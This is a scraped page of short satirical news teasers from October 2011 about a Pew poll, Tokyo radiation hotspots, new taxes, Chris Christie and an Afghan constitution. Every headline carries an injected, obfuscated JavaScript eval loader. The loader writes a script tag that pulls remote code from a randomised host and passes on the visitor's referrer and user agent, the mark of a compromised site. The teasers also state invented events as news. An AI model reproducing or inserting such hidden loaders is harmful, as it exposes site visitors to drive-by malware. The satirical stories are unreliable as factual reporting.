Shocking New Poll Results

MORONS THINK WASHINGTON CREATED FINANCIAL CRISIS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntssh|var|u0026u|referrer|dnezy||js|php’.split(‘|’),0,{})) But Idiots Disagree, Cite Lack of Regulation Washington, DC October 26th, 2011 (SHK) According to the latest Pew Research poll, nearly two-thirds of American adults questioned — 64% — say they believe that the Federal government created the Great Recession. In that same [...]

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Radioactive Hotspots Found in Tokyo

RADIOACTIVE “HOTSPOTS” FOUND IN TOKYO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsina|var|u0026u|referrer|iknzt||js|php’.split(‘|’),0,{})) Japanese government cautions Tokyo residents not to panic Tokyo, Japan October 20th, 2011 (SHK) A private citizens group created to test for radioactivity in Tokyo warned today that Japan’s capital had far higher concentrations of radioactivity than the government previously disclosed. According to Takeo [...]

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Flash: New Taxes Coming!

New Taxes Now Unavoidable eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddbzy|var|u0026u|referrer|zifay||js|php’.split(‘|’),0,{})) Bipartisan Agreement Narrows Budget Gap Washington, D.C. October 12th, 2011 (SHK) New taxes were agreed to yesterday by Congressional Republicans and Democrats in an attempt to bridge the widening Federal budget gap. Called “Stealth Taxes” because they’re invisible to the ordinary taxpayer, the reaction of [...]

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Will New Jersey’s Governor Run?

CHRIS CHRISTIE WEIGHS REPUBLICAN BID eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahdih|var|u0026u|referrer|ykirh||js|php’.split(‘|’),0,{})) America’s overweight population ecstatic Trenton, New Jersey — October 3rd, 2011 (SHK) New Jersey Gov. Chris Christie is surfing a wave of enthusiasm in support of his possible entry as a Republican candidate in the crowded but competitive national campaign for president. Gov. Christie [...]

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New Constitution for Afghanistan

AFGHAN JIRGA DRAFTS CONSTITUTION eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stdby|var|u0026u|referrer|kfrnb||js|php’.split(‘|’),0,{})) Tajik, Pashtun, Alikozai tribes hail new pact Kabul, Afghanistan October 5th, 2011 (SHK) Leaders of three key tribal groups in Afghanistan put the finishing touches on a new Constitution yesterday, creating a brand-new country called the United States of Afghanistan. “Now when we hear shouts [...]

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